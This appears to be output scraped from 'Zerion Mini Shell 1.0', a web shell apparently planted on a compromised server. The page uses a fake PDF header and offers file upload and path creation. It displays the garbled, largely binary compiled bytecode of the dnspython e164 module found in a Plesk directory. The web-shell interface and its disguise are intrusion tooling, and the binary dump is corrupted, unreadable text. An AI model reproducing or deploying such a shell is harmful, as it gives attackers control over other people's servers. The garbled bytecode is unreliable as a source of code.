%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pyo

�
�ac@swddlZddlZddlZddlmZmZejjd�Z	e	d�Z
e	ed�Zdd�ZdS(i����Ni(tstring_typestmaybe_decodes
e164.arpa.cCsNg|D]}|j�r|^q}|j�tjjdj|�d|�S(Nt.torigin(tisdigittreversetdnstnamet	from_texttjoin(ttextRtdtparts((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pyt	from_e164s%
cCs�|dk	r|j|�}ng|jD]*}|j�r(t|�dkr(|^q(}t|�t|j�kr�tjjd��n|j�dj	|�}|r�d|}nt
|�S(Nis$non-digit labels in ENUM domain namett+(tNonet
relativizetlabelsRtlenRt	exceptiontSyntaxErrorRR	R(RRtwant_plus_prefixRtdlabelsR
((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pytto_e1641s:

cCs�|dkrtjj�}ntjj�}x�|D]y}t|t�r^tjj|�}ntj	j
||�}y|j|d�SWq4tjjk
r�}||7}q4Xq4W|�dS(NtNAPTR(RRtresolvertget_default_resolvertNXDOMAINt
isinstanceRRRte164R
tquery(tnumbertdomainsRte_nxtdomaintqnamete((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pyRQs

(t
dns.exceptionRtdns.nametdns.resolvert_compatRRRRtpublic_enum_domainR
tTrueRRR(((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pyt<module>s 

Zerion Mini Shell 1.0